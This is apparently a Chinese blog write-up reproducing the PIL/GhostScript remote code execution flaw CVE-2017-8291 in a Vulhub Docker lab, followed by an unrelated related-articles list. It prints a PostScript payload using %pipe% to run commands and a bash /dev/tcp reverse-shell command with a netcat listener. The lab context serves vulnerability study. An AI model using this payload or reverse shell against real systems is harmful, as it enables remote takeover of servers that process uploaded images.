Python PIL远程命令执行漏洞复现(CVE-2017-8291 CVE-2017-8291)

简介: Python PIL远程命令执行漏洞复现(CVE-2017-8291 CVE-2017-8291)

漏洞原理

Python中处理图片的模块PIL(Pillow),因为其内部调用了GhostScript而受到GhostButt漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。

漏洞详情

漏洞简述

PIL内部根据图片头(Magic Bytes)判断图片类型,如果发现是一个eps文件(头为%!PS),则分发给PIL/EpsImagePlugin.py处理。
在这个模块中,PIL调用了系统的gs命令,也就是GhostScript来处理图片文件:

command = ["gs",
            "-q",                         # quiet mode
            "-g%dx%d" % size,             # set output geometry (pixels)
            "-r%fx%f" % res,              # set input DPI (dots per inch)
            "-dBATCH",                    # exit after processing
            "-dNOPAUSE",                  # don't pause between pages,
            "-dSAFER",                    # safe mode
            "-sDEVICE=ppmraw",            # ppm driver
            "-sOutputFile=%s" % outfile,  # output file
            "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                            # adjust for image origin
            "-f", infile,                 # input file
            ]

# 省略判断是GhostScript是否安装的代码
try:
    with open(os.devnull, 'w+b') as devnull:
        subprocess.check_call(command, stdin=devnull, stdout=devnull)
    im = Image.open(outfile)

漏洞复现环境

名称 系统名称 IP地址
攻击机 kali 192.168.255.57
靶机 centos7 192.168.255.176

1、在centos7中开启docker环境,并拉取Vulhub漏洞源码

[root@didiplus ~]# git clone https://github.com/vulhub/vulhub.git

2、进入CVE-2017-8291

[root@didiplus CTF]# cd vulhub/python/PIL-CVE-2017-8291/
[root@didiplus PIL-CVE-2017-8291]# ls
01.png  app.py  docker-compose.yml  poc.png  README.md
[root@didiplus PIL-CVE-2017-8291]#

3、执行命令docker-compose up -d,拉取镜像。

[root@didiplus PIL-CVE-2017-8291]# docker-compose up -d
Creating pil-cve-2017-8291_web_1 ... done
[root@didiplus PIL-CVE-2017-8291]# docker ps -a
CONTAINER ID        IMAGE                                COMMAND                  CREATED             STATUS              PORTS                               NAMES
80c159201cad        vulhub/ghostscript:9.21-with-flask   "python app.py"          6 seconds ago       Up 3 seconds        0.0.0.0:8000->8000/tcp              pil-cve-2017-8291_web_1

4、在kali下访问靶场:http://192.168.255.167:8000/
在这里插入图片描述5、上传poc.png图片,使用vi打开该文件,内容如下:

...省略...
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{
   
    } loop
0 0 .quit
%asdf

在这里插入图片描述

上传文件成功后,会在/tmp/目录下创建aaaaa文件。

6、在docker靶场中查看aaaaa文件,证明是否存在漏洞
在这里插入图片描述
成功在tmp目录下创建文件,说明存在漏洞。

通过反弹shell命令获取root权限。

1、在kail(攻击机)上,开启侦听端口8002端口,执行 nc -l -p 8002
在这里插入图片描述
2、修改poc.png的命令为反弹shell命令bash –c "bash –i >& /dev/tcp/192.168.32.1/777 0>&1"
在这里插入图片描述3、再次上传后,监听端口成功反弹shell
在这里插入图片描述
参考资料:
Python PIL 远程命令执行漏洞(GhostButt CVE-2017-8291 )
Python PIL 远程命令执行漏洞(GhostButt )

目录
相关文章
|
2月前
|
安全 网络安全 文件存储
思科设备巡检命令Python脚本大集合
【10月更文挑战第18天】
98 1
思科设备巡检命令Python脚本大集合
|
2月前
|
Python
Python PDB命令介绍
【10月更文挑战第15天】 使用PDB的方式有两种,其中一种是在脚本中添加代码,不觉得这种方式比print好在哪里,所以这种方式此文不表。这里我们只学习PDB的命令行使用方式
53 4
|
2月前
|
机器学习/深度学习 缓存 PyTorch
pytorch学习一(扩展篇):miniconda下载、安装、配置环境变量。miniconda创建多版本python环境。整理常用命令(亲测ok)
这篇文章是关于如何下载、安装和配置Miniconda,以及如何使用Miniconda创建和管理Python环境的详细指南。
541 0
pytorch学习一(扩展篇):miniconda下载、安装、配置环境变量。miniconda创建多版本python环境。整理常用命令(亲测ok)
|
3月前
|
机器学习/深度学习 Shell 开发工具
Python使用管道执行git命令报错|4-7
Python使用管道执行git命令报错|4-7
|
2月前
|
机器学习/深度学习 缓存 Linux
python环境学习:pip介绍,pip 和 conda的区别和联系。哪个更好使用?pip创建虚拟环境并解释venv模块,pip的常用命令,conda的常用命令。
本文介绍了Python的包管理工具pip和环境管理器conda的区别与联系。pip主要用于安装和管理Python包,而conda不仅管理Python包,还能管理其他语言的包,并提供强大的环境管理功能。文章还讨论了pip创建虚拟环境的方法,以及pip和conda的常用命令。作者推荐使用conda安装科学计算和数据分析包,而pip则用于安装无法通过conda获取的包。
153 0
|
2月前
|
安全 Java Python
基于python-django的Java网站全站漏洞检测系统
基于python-django的Java网站全站漏洞检测系统
37 0
|
3月前
|
Unix Shell Linux
nohup python -u ai_miniprogram_main.py > ../iwork.out 2>&1 & 这句命令是做什么的?
nohup python -u ai_miniprogram_main.py > ../iwork.out 2>&1 & 这句命令是做什么的?
24 1
|
4月前
|
安全 网络安全 开发者
探索Python中的装饰器:简化代码,增强功能网络安全与信息安全:从漏洞到防护
【8月更文挑战第30天】本文通过深入浅出的方式介绍了Python中装饰器的概念、用法和高级应用。我们将从基础的装饰器定义开始,逐步深入到如何利用装饰器来改进代码结构,最后探讨其在Web框架中的应用。适合有一定Python基础的开发者阅读,旨在帮助读者更好地理解并运用装饰器来优化他们的代码。
|
3月前
|
Python Windows
Python:执行py命令,提示: Can‘t find a default Python.
Python:执行py命令,提示: Can‘t find a default Python.
|
4月前
|
安全 应用服务中间件 网络安全
Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)
Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)
61 11